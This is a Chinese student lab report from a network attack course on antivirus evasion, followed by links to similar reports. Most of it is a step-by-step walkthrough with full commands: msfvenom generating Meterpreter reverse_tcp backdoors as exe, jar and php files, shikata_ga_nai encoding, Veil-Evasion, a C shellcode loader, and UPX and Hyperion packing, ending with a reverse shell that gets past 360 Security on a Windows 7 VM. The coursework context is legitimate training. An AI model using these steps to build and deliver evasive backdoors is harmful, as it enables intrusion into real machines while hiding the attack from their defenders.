2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
免杀原理及基础问题回答
一、免杀原理
- 免杀就是通过一定的手段,将文件进行“整容”,让杀软无法识别,已达到免于被杀软查杀的目的。
- 免杀思路:(1)对病毒木马文件进行修改;(2)拓展病毒木马文件功能,甚至是攻击杀软来达到目的。
二、基础问题回答
- 问:杀软是如何检测出恶意代码的?
- 特征码是指杀软针对相应病毒或木马所特有的特点截取的一段二进制代码(涵盖了十六进制代码、汇编指令等)。杀软就是依靠检查文件特征码来识别一个文件是不是病毒或木马。
- 启发式恶意软件检测:启发式指 “自我发现的能力”或“运用某种方式或方法去判定事物的知识和技能”, 是杀毒软件能够分析文件代码的逻辑结构是否含有恶意程序特征,或者通过在一个虚拟的安全环境中前摄性的执行代码来判断其是否有恶意行为
- 基于行为的恶意软件检测:通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,杀软会监视程序的运行,如果发现了这些特殊行为,就会认为其是恶意软件。
- 问:免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。
- 问:免杀的基本方法有哪些?
- 改变特征码
- 只有EXE——加壳
- 有shellcode——利用encode进行编码
- 有源代码——用其他语言进行重写再编译
- veil-evasion
- 半手工
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存的操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
- 改变特征码
三、免杀效果评价
利用VirusTotal或Virscan,可以上传免杀处理过的程序进行检测。
实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
在实验二中使用msf生成了后门程序,使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。
用VirusTotal扫描后结果如下:

- Virscan网站的扫描结果如下:

下面我们用msf编码器对后门程序进行一次到多次的编码,并进行检测
- 一次编码使用命令:
-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中 - msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor.exe

- 进行十次编码
- msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i -b ‘\x00’ LHOST=192.168.1.155 LPORT= -f exe > ljx-backdoor10.exe
- 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下

- 可见多次编码对免杀没有太大的效果,原因有两点:
- 杀软只要盯住shikata_ga_nai解码(decoder stub)加入exe的部分。
- msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。
2. msfvenom生成jar文件
- 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor_java.jar
- 生成文件如下所示:

- 扫描结果如下:

3. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= x> ljx_backdoor.php
- 生成文件如下所示:

- 扫描结果如下:

4. 使用veil-evasion生成后门程序及检测
安装veil
- 因为镜像版本原因,在安装之先执行下面的指令
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
- 用sudo apt-get install veil-evasion命令安装Veil
- 之后用veil打开veil,输入
y继续安装直至完成:

- 用use evasion命令进入Evil-Evasion

- 输入命令use c/meterpreter/rev_tcp.py进入配置界面

设置反弹连接IP,命令为:set LHOST 192.168.1.155,注意此处的IP是KaliIP;
设置端口,命令为:set LPORT

- 输入generate生成文件,接着输入你想要playload的名字:veil_c_5311

如上图所示,保存路径为
/var/lib/veil/output/compiled/veil_c_5311.exe检测一下:

5. 半手工注入Shellcode并执行
- 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.155 LPORT= -f c用c语言生成一段shellcode;

- 创建一个文件.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:i686-w64-mingw32-g++ .c -o .exe编译这个.c文件为可执行文件;

- 检测结果如下图:

- 当想要使用windows上执行该程序时,被电脑的360卫士查杀。

任务二:通过组合应用各种技术实现恶意代码免杀
- 使用压缩壳(UPX)
- 给之前的20165318.exe加个壳得到sxx_upxed.exe:

- 还是被杀软查杀了

- 加密壳Hyperion
- 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
- 进入 /usr/share/windows-binaries/hyperion/
- 输入命令wine hyperion.exe -v ljx_upxed.exe ljx_upxed_Hyperion.exe进行加壳:


- 尝试一下反弹连接

- 网页检查一下


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 免杀方法:先用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。
实验环境:对方电脑为 win7虚拟机,360安全卫士11.4.0.2003(由于我的kali问题,最后一个任务我与5329何佳伟用了同一个win7系统进行反弹连接)
- 反弹连接结果、

离实战还缺些什么技术或步骤?
由于病毒库的更新速度非常的快,我们只有掌握更加成熟的技术来包装病毒才能不被查杀到。
对于实战来说,我还需要学习更多对病毒的改造方法。
实验遇到的问题及解决方法
在安装veil evasion的时候展开包一直失败,后来上网百度了以后才知道这个和版本有关系
输入以下代码之后问题就顺利解决了
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
实践总结与体会
首先那个veil太难装了总出错,一开始装了一个晚上最后还是失败了,这次实验学到了很多知识。
最重要也是最有趣的就是如何把后门软件进行改造来让它伪装骗过所有的杀毒软件,而且实验中
也让我们也见识到了中国杀毒软件的“菜”,学习永无止境!
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
随机推荐
- python 模块 SQLalchemy
SQLalchemy 概述: # &&&&&&&&&&&&&&&&&am ...
- laravel5.4 导出 Excel 表格
1.执行 composer require maatwebsite/excel 2. composer.json 文件出现(或者手动添加) 3.在config目录下 app.php 添加参数 4.导出 ...
- 写博客常用MarkDown语法
目录 前言 1. 制作目录 2. 命令格式: 3. 超链接 4.上标和下标 5.引用 6.分割线 7.给图片添加图注 参考 前言 自己记性不是很好,导致每次写MarkDown文本时总是忘了一些重要 ...
- 【easy】power of 2,3,4
============================== 2的幂次 ================================ 最佳解法 如果一个数是2的次方数的话,根据上面分析,那么 ...
- 史上最明白的 NULL、0、nullptr 区别分析(老师讲N篇都没讲明白的东东),今天终于明白了,如果和我一样以前不明白的可以好好的看看...
C的NULL 在C语言中,我们使用NULL表示空指针,也就是我们可以写如下代码: int *i = NULL; foo_t *f = NULL; 实际上在C语言中,NULL通常被定义为如下: #def ...
- C++入门篇四
常量引用:形参不能修改,节省开辟内存空间的开销 用一级指针代替二级指针常量引用,使用场景,修饰形参为只读const int a=10会分配内存如果使用引用,在前面加了一个const的话,那么就不可以修 ...
- spring boot 添加拦截器的简单实例(springBoot 2.x版本,添加拦截器,静态资源不可访问解决方法)
spring中拦截器主要分两种,一个是HandlerInterceptor,一个是MethodInterceptor 一.HandlerInterceptor HandlerInterceptor是s ...
- + CategoryInfo : NotSpecified: (:) [], PSSecurityException + FullyQualifiedErrorId : RuntimeException
File C:\Users\danv\Documents\WindowsPowerShell\profile.ps1 cannot be loaded because the execution of ...
- Spark缓存策略
当对同一个rdd多次执行action时,如果在磁盘上则每次执行action都会从磁盘将数据加载,如果将其缓存到内存中会提高再次action的读取速度,Spark缓存主要有cache()和persist ...
- webpack打包后的文件
用了webpack打包工具,你是不是有时会疑惑,写了一个很简单的函数,结果生成那么多东西,而且还没有问题?下面,我从三种情况来分析打包后的入口文件,帮助自己理解webpack打包,也为平时定位产出目录 ...